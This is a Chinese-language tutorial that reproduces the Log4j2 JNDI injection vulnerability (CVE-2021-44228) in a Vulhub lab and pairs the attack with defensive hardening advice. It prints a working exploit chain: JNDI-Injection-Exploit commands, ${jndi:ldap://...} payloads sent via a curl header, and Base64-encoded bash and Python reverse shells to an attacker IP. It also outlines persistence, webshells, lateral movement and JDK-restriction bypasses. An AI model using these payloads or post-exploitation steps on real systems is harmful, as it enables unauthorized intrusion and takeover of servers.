1. 项目概述:一次对Log4j2远程代码执行漏洞的深度复现与剖析
最近在整理内部安全演练的案例库,Log4j2这个“核弹级”漏洞(CVE-2021-44228)是绕不开的经典。虽然距离其爆发已有一段时间,但它在应用安全史上的地位,以及其背后所揭示的供应链安全、开源组件治理等深层问题,至今仍值得我们反复咀嚼。这次,我们不谈泛泛的原理,而是从一个安全研究或渗透测试工程师的视角,完整地走一遍从环境搭建、漏洞触发到最终获取服务器权限(getshell)的全过程。这不仅仅是为了复现而复现,更重要的是理解攻击链的每一个环节,思考在真实攻防对抗中可能遇到的变数,以及作为防御方该如何构建有效的检测与防护策略。无论你是想巩固漏洞原理的初学者,还是希望深化实战理解的安全从业者,这篇手记都能提供一份详尽的“作战地图”。
2. 漏洞核心原理与攻击链拆解
2.1 Log4j2为何成为“核弹”:JNDI注入的威力
要理解Log4j2远程代码执行(RCE)漏洞,核心在于两个关键技术点:Log4j2的日志消息解析机制和Java的JNDI(Java Naming and Directory Interface)服务。
首先,Log4j2作为一个功能强大的日志框架,支持在日志消息中通过${}语法执行“查找”(Lookup)操作。例如,${java:version}可以输出Java版本。这本是为了方便日志内容动态化设计的特性。
问题的关键在于,它支持一种叫做JndiLookup的查找方式。攻击者可以构造一个特殊的日志字符串,如${jndi:ldap://attacker.com/evil}。当Log4j2(版本2.0-beta9至2.14.1)在处理包含此类字符串的日志时,会尝试通过JNDI去连接attacker.com这个攻击者控制的LDAP服务。
其次,JNDI是Java提供的一个统一接口,用于访问各种命名和目录服务,如LDAP、RMI、DNS等。在早期版本的Java中(具体行为与JDK版本密切相关),当客户端通过JNDI请求一个远程对象时,如果该对象是一个“引用”(Reference),Java会尝试从Reference中指定的URL地址去下载并实例化对应的类文件。这就为远程代码执行打开了大门。
攻击链可以简化为:用户输入(如HTTP请求头中的User-Agent) → 被应用记录到日志(使用有漏洞的Log4j2) → Log4j2解析${jndi:ldap://...}→ 触发JNDI查找 → 连接攻击者LDAP服务器 → LDAP服务器返回一个恶意的Java类引用(Reference) → 受害服务器从攻击者HTTP服务下载恶意类并执行其静态代码块 → 实现远程代码执行。
注意:漏洞的利用成功与否,高度依赖于目标服务器的Java环境版本。在后续的JDK版本中(如8u191、11.0.1之后),默认限制了从远程地址加载类,增加了利用难度,但并非完全免疫,通过一些绕过手段依然可能成功。
2.2 与其他RCE漏洞的横向对比
在复现之前,理解Log4j2的特殊性有助于我们把握其影响范围。对比几个知名的RCE漏洞:
- Struts2-045 (CVE-2017-5638): 基于Jakarta Multipart解析器的缺陷,攻击者可在上传文件的
Content-Type头中注入OGNL表达式执行命令。其影响范围局限于使用特定版本Struts2且启用了文件上传功能的Web应用。 - 永恒之蓝 (MS17-010): 利用Windows SMB协议中的缓冲区溢出漏洞,实现无需用户交互的远程代码执行和蠕虫式传播。影响的是操作系统层。
- Log4j2 (CVE-2021-44228): 最大的不同在于其“供应链”和“默认开启”特性。它不是一个应用业务逻辑漏洞,而是一个被广泛使用的基础日志组件的漏洞。任何使用了受影响版本Log4j2的Java应用,无论业务功能多么简单,只要记录了攻击者可控的字符串(可能是URL参数、请求头、表单数据、甚至用户名),就可能被攻击。这使得它的攻击面呈指数级扩大,从Web应用到后端服务、大数据组件乃至嵌入式设备,无处不在。
3. 复现环境搭建与核心工具准备
3.1 靶场环境选择:Vulhub的便捷性
为了快速、安全地复现漏洞,我们选择使用Docker环境。这里推荐Vulhub,它是一个开源的漏洞靶场集成项目,提供了大量预构建的漏洞环境,一键启动,非常适合学习和研究。
- 系统准备: 一台安装有Docker和Docker Compose的Linux主机(如Ubuntu 20.04)。确保网络通畅,可以拉取Docker镜像。
- 部署Vulhub:
执行后,Docker会拉取镜像并启动一个包含漏洞的Spring Boot Web应用,通常监听在8080端口。你可以通过# 1. 克隆Vulhub仓库 git clone https://github.com/vulhub/vulhub.git cd vulhub # 2. 进入Log4j2漏洞目录 cd log4j/CVE-2021-44228 # 3. 启动靶场环境 docker-compose up -ddocker-compose logs查看启动日志,确认服务已正常运行。
3.2 攻击机环境与工具链配置
攻击机需要准备三样核心工具,模拟一个完整的攻击链:
JNDI注入利用工具: 我们使用
JNDI-Injection-Exploit。这是一个集成的利用工具,可以一键启动恶意RMI/LDAP服务,并生成对应的利用Payload。# 下载工具 git clone https://github.com/welk1n/JNDI-Injection-Exploit.git cd JNDI-Injection-Exploit # 编译(需要Maven) mvn clean package -DskipTests编译后,在
target目录下会生成可执行的JAR包。Payload生成与监听: 我们需要一个能执行任意命令的Payload。这里使用经典的
Reverse Shell(反弹Shell)。首先在攻击机上用nc(Netcat)监听一个端口:nc -lvnp 9999这条命令会让
nc在9999端口监听,等待目标服务器反向连接回来。构造恶意Java类: JNDI利用的核心是让目标服务器加载并执行我们编写的恶意类。这个类的代码很简单,就是在静态代码块中执行系统命令。我们可以用
JNDI-Injection-Exploit工具内置的功能来动态生成,它支持通过-c参数指定要执行的命令。例如,我们要让目标服务器执行bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}这样的命令(这是一个经过Base64编码的反弹Shell到192.168.1.100:9999的命令)。
3.3 关键参数与版本适配性考量
在启动利用工具前,必须明确几个关键参数,它们直接决定利用能否成功:
- 攻击机IP: 你的攻击机IP地址,用于搭建恶意的LDAP/RMI服务。
- HTTP服务端口: 用于托管恶意类文件的Web服务端口(工具会内置启动)。
- LDAP/RMI服务端口: 用于接收目标JNDI请求的端口。
- JDK版本: 这是最关键的变量。需要根据目标服务器的JDK版本选择不同的利用方式:
- JDK 6u132, 7u122, 8u113 之前: 可以直接利用。
- JDK 高版本 (如 8u191+): 默认情况下
com.sun.jndi.ldap.object.trustURLCodebase已设置为false,禁止从远程URL加载类。此时可能需要结合其他漏洞(如本地类路径中的可利用类)进行绕过,或者目标服务器因为其他配置错误降低了安全限制。我们的复现环境(Vulhub)通常使用较低版本的JDK来确保漏洞可触发。
4. 完整攻击流程实操与演示
4.1 步骤一:启动恶意JNDI服务
在攻击机上,进入JNDI-Injection-Exploit目录,执行以下命令:
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}” -A 192.168.1.100命令解释:
-C: 指定要执行的命令。这里我们放入了一个Base64编码的反弹Shell命令,解码后是bash -i >& /dev/tcp/192.168.1.100/9999 0>&1,意思是让目标服务器的bash连接到我们攻击机的9999端口。-A: 指定攻击机(即本机)的IP地址,工具会用这个IP启动LDAP/RMI和HTTP服务。
执行后,工具会输出类似如下信息:
[+] LDAP Server Start Listening on 1389… [+] HTTP Server Start Listening on 8888… [+] RMI Server Start Listening on 1099… [+] Payload: ${jndi:ldap://192.168.1.100:1389/abc} [+] Payload: ${jndi:rmi://192.168.1.100:1099/abc}它为我们生成了两个可用的Payload,并启动了相应的服务。我们选择LDAP的Payload进行演示。
4.2 步骤二:触发漏洞与发送Payload
我们的靶场是一个简单的Web应用,它可能会将请求头信息记录到日志。因此,我们构造一个HTTP请求,将Payload放入任何一个可能被记录的请求头中,例如User-Agent、X-Api-Version或Cookie。
使用curl命令发送请求:
curl http://192.168.1.200:8080/ -H ‘User-Agent: ${jndi:ldap://192.168.1.100:1389/abc}’或者,你也可以使用Burp Suite等代理工具手动构造这个请求,这样更容易观察和修改。
当这个请求发送到靶场服务器(192.168.1.200:8080)时,应用处理请求,Log4j2在记录User-Agent这个头部的值时,会解析其中的${}表达式,从而触发JNDI查找。
4.3 步骤三:观察攻击链与获取Shell
- 观察JNDI工具终端: 发送请求后,立即查看运行
JNDI-Injection-Exploit的终端。如果成功,你会看到类似[+] Received LDAP Query: …和[+] Send LDAP Resource Result的日志,表明靶机连接了你的LDAP服务,并且LDAP服务指示靶机去你的HTTP服务(8888端口)下载恶意类文件。 - 观察NC监听终端: 几乎同时,查看之前运行
nc -lvnp 9999的终端。如果一切顺利,你会看到一个新的连接建立,并出现一个命令行提示符,例如bash-4.2$。这表示你已经成功获取了目标服务器的反向Shell,可以执行id、whoami、pwd等命令验证权限。
至此,一次完整的从漏洞触发到getshell的攻击流程就完成了。你已经在目标服务器上拥有了命令执行权限。
5. 深度利用、权限维持与防御绕过思考
5.1 从命令执行到权限维持
拿到一个反向Shell通常只是第一步。在真实的渗透测试中,我们还需要考虑:
- 信息收集: 使用
uname -a查看系统信息,cat /etc/passwd查看用户,ifconfig或ip addr查看网络,ps aux查看进程,寻找数据库、中间件等敏感信息。 - 权限提升: 检查当前用户权限(
sudo -l),寻找SUID/GUID文件,利用内核漏洞或服务配置错误进行提权。 - 权限维持: 上传持久化后门,如创建计划任务(crontab)、写入SSH密钥、部署Webshell或内存马等。例如,可以尝试写入一个简单的PHP Webshell到Web目录。
- 内网横向移动: 如果目标服务器处于内网,可以利用它作为跳板,进一步探测和攻击内网其他主机。
5.2 针对高版本JDK的绕过技巧
在JDK高版本默认防护下,直接使用远程Reference可能失败。历史上安全研究人员提出了多种绕过思路:
- 利用本地ClassPath中的类: 这是最有效的绕过方式之一。寻找目标应用ClassPath中存在的、可被利用的类(如
org.apache.naming.factory.BeanFactory结合EL表达式处理器)。通过JNDI注入,触发目标去查找并实例化这些本地类,利用这些类的某些方法(如setter、构造函数)间接执行代码。这需要深入研究目标应用的依赖库。 - 利用其他可信任的协议或上下文: 尝试使用
ldaps(LDAP over SSL)、rmi、dns、iiop等不同的JNDI协议,有时安全策略的配置可能不均衡。 - 利用二次反序列化: 某些JNDI服务返回的对象可能本身是一个可序列化的对象,在其反序列化过程中触发Gadget链。这依赖于应用中存在可用的反序列化利用链。
这些绕过技术复杂度高,且高度依赖目标环境。它们说明了为什么单纯升级JDK并非万全之策,必须结合其他防护措施。
5.3 防御视角下的加固措施
作为防御方,面对此类漏洞应有层次化的应对策略:
- 紧急缓解:
- 升级Log4j2: 将Log4j2升级到2.15.0及以上版本(最新稳定版)。这是根本解决方案。
- 设置系统属性: 如果无法立即升级,在Java启动参数中添加
-Dlog4j2.formatMsgNoLookups=true(Log4j 2.10及以上),或移除JndiLookup类。 - WAF/防火墙规则: 在入口处拦截包含
${jndi:、${ldap:、${rmi:等模式的请求。
- 长期加固:
- 供应链安全扫描: 使用SCA(软件成分分析)工具,持续监控项目中第三方组件的漏洞。
- 最小权限原则: 运行Java应用的服务账户应遵循最小权限原则,避免使用root等高权限账户。
- 网络隔离: 严格限制服务器对外发起网络连接的能力,特别是非常用端口(如LDAP的389/636,RMI的1099等),可以阻断大部分JNDI攻击的回连。
- 升级JDK: 尽管不能完全防御,但使用最新版本的JDK(如8u321, 11.0.14, 17.0.2等)能有效提高利用门槛,默认禁用了远程类加载。
- 监测与响应:
- 日志监控: 监控应用日志中是否出现异常的JNDI、LDAP连接记录。
- 主机层监控: 监控服务器是否异常向外发起网络连接,或执行非常见命令。
6. 复现过程中的常见问题与排查实录
在复现过程中,你可能会遇到各种问题。以下是一些常见情况及排查思路:
| 问题现象 | 可能原因 | 排查步骤与解决方案 |
|---|---|---|
| 发送Payload后,JNDI工具无任何连接日志。 | 1. 靶场服务未成功启动或无法访问。 2. 靶场应用未记录触发Payload的输入点。 3. 网络不通或防火墙拦截。 | 1.docker-compose ps确认容器状态,docker-compose logs查看应用日志,确认服务正常且无报错。2. 尝试将Payload放入不同的HTTP请求部位(URL参数、所有头部、Body),并用 tail -f查看靶场容器内的应用日志,确认Payload是否被打印。3. 从靶场容器内 ping或curl攻击机IP,测试连通性。 |
| JNDI工具收到LDAP查询,但NC未收到反弹Shell。 | 1. 命令执行失败(路径错误、权限不足)。 2. 反弹Shell命令编码或格式错误。 3. 目标服务器出网被限制(无法连接攻击机9999端口)。 4. 目标JDK版本较高,成功加载类但命令执行被安全策略限制。 | 1. 在JNDI工具中尝试执行更简单的命令,如touch /tmp/test123,然后在靶机上检查文件是否创建。2. 检查反弹Shell命令的Base64编码是否正确,确保解码后是有效的bash命令。可在本地先测试命令有效性。 3. 在攻击机用 tcpdump或nc -lvnp 9999的详细输出查看是否有TCP SYN包到来。尝试让目标执行curl http://攻击机IP:8888看能否访问HTTP服务,以验证出网情况。4. 查看靶场容器的JDK版本( java -version)。如果版本高,尝试使用针对高版本JDK的绕过Payload或寻找其他利用链。 |
| 拿到Shell后立即断开或不稳定。 | 1. 反弹Shell的进程被终止。 2. 网络连接不稳定。 | 1. 尝试使用更稳定的反弹Shell方式,如用python、perl或socat生成TTY的完整交互Shell。例如Python:python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.100”,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);’。2. 使用 screen或tmux在攻击机运行NC监听,避免终端关闭导致监听停止。 |
| Vulhub环境启动失败。 | 1. Docker或Docker Compose未安装。 2. 端口冲突。 3. 镜像拉取失败。 | 1. 确认Docker服务运行正常(systemctl status docker),并正确安装docker-compose。2. 检查8080端口是否被占用,可修改 docker-compose.yml中的端口映射。3. 尝试手动拉取基础镜像( docker pull vulhub/…),或配置国内镜像加速器。 |
实操心得:复现这类漏洞,耐心和细致的观察日志是关键。攻击链上的每一个环节(应用日志、JNDI工具日志、NC监听日志)都提供了重要的状态信息。不要只盯着最终是否拿到Shell,理解中间每一步的成功与失败,对于真正掌握漏洞原理和排查问题更有帮助。例如,看到JNDI工具有“Received LDAP Query”日志但无后续,很可能就是目标JDK版本较高,拒绝了远程类加载。